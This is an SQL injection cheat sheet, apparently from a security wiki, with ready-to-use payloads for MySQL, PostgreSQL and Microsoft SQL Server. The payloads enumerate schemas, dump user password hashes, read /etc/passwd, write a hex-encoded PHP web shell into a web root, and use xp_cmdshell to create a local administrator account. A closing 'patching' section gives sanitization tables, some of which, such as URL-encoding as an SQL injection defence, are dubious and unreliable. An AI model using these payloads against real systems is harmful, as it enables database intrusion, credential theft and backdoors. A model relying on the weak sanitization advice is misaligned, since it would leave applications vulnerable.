Mysql Versions >= 5 User Schema Mapping (Unprivileged)

• Show Databases Equivilent:

 SELECT schema_name FROM information_schema.schemata LIMIT 1 offset 0

• Show Tables Equivilent

 SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 offset 0

• Show Fields Equivilent

SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND TABLE_NAME=([TABLE query]) LIMIT 1 offset 0

Privileged Mysql (Any version) User

• Get mysql usernames and password hashes:

 SELECT concat(USER,0x2f,password) FROM mysql.user LIMIT 1

• Grab /etc/passwd

SELECT load_file(0x2f6574632f706173737764)

• Dump a small php shell (<?php system($_GET['id']); ?>) into /var/www/localhost/htdocs

 SELECT 0x3c3f7068702073797374656d28245f4745545b276964275d293b203f3e INTO OUTFILE '/var/www/localhost/htdocs/.shell.php'

PostgreSQL Syntax Reference

Handy functions & Environment Variables include:

 
  current_database()
  CURRENT_USER()
  chr()
  ascii()
  substr()

Quick and common string concatenations:

String concatenation in postgresql is done using the two pipe operators side by side, e.g. "select chr(97)||chr(97)" is the same as "select 'aa'".

PostgreSQL Schema Mapping

  SELECT schema_name FROM information_schema.schemata WHERE catalog_name=current_database() LIMIT 1 offset 0

  SELECT TABLE_NAME FROM information_schema.tables table_type='BASE TABLE' AND table_schema=([schema_query]) AND catalog_name=current_database() LIMIT 1 offset 0

  SELECT column_name FROM information_schema.columns WHERE TABLE_NAME=([table_query]) AND table_schema=(schema_query) AND catalog_name=current_database() LIMIT 1 offset 0

Microsoft SQL Syntax Reference

• Handy functions, statements, and Environment Variables:

 database()
 ascii()
 substring()
 WAIT ... FOR DELAY
 @@version

String concatenation is preformed in Microsoft SQL via the + character.

Microsoft SQL Schema Mapping (Unprivileged)

  SELECT top 1 TABLE_NAME FROM (SELECT top 1 TABLE_NAME FROM information_schema.columns WHERE table_catalog=@@DATABASE GROUP BY TABLE_NAME ORDER BY TABLE_NAME DESC) sq 
    GROUP BY TABLE_NAME ORDER BY TABLE_NAME ASC

  SELECT top 1 column_name FROM (SELECT top 1 column_name FROM information_schema.columns WHERE table_catalog=@@DATABASE AND TABLE_NAME='[table_name]' 
    GROUP BY column_name ORDER BY column_name ASC) sq GROUP BY column_name ORDER BY column_name DESC

Privileged Microsoft SQL Injection

• Command Execution:

;%0a%0dexec master..xp_cmdshell 'net user hacker hackerpassword /add';--
;%0a%0dexec master..xp_cmdshell 'net localgroup administrators hacker /add';--

• Obtaining database authentication credentials:

SELECT * FROM sysobjects WHERE type='U'

Patching SQL Injection Vulnerabilities

• Ruby input sanitizing:

  [Sanitizes For]  | [Type]  |  [Engine]  | [Example]
XSS, SQL Injection | String  | Any        | var = HTMLEntities.encode(var,:basic:)
SQL Injection      | String  | MySQL      | var = Mysql.escape_string(var)
SQL Injection      | String  | PostgreSQL | var = PGconn.escape_string(var)
XSS, SQL Injection | Integer | Any        | var = var.to_i

• PHP input sanitizing:

  [Sanitizes For]  | [Type]  |  [Engine]  | [Example]
XSS, SQL Injection | String  | Any        | $var = htmlentities($_GET['var'],ENT_QUOTES);
SQL Injection      | String  | MySQL      | $var = mysql_real_escape_string($_GET['var']);
SQL Injection      | String  | PostgreSQL | $var = pg_escape_string($_GET['var']);
XSS, SQL Injection | Integer | Any        | $var = (int)$_GET['var'];

• Python input sanitizing:

Python2.4 and newer defaults to using prepared statements. Thus, this table only refers to legacy applications built in python versions < 2.4 that require manual sanitizing.

XSS, SQL Injection | String  | Any        | var = urllib.urlencode(var)
SQL Injection      | String  | MySQL      | var = conn.escape_string(var)
SQL Injection      | String  | PostgreSQL | var = psycopg2.extensions.adapt(var)
XSS, SQL Injection | Integer | Any        | var = int(var)

Further Reading

Related Content:

• SQL Backdoors
• MySQL
• Programming language specifications: Perl,Python,C,C++

Related Tools:

• Vanguard
• MySql 5 Enumeration
• GScrape - Now updated for SQL injection.

External Links:

• MySQL 3/4 Reference Manual
• MySQL 5 Reference Manual
• MySQL 6 Reference Manual

• Postgres 7 Reference Manual
• Postgres 8 Reference Manual
• Postgres 9 Reference Manual

• MSDN SQL Server Resources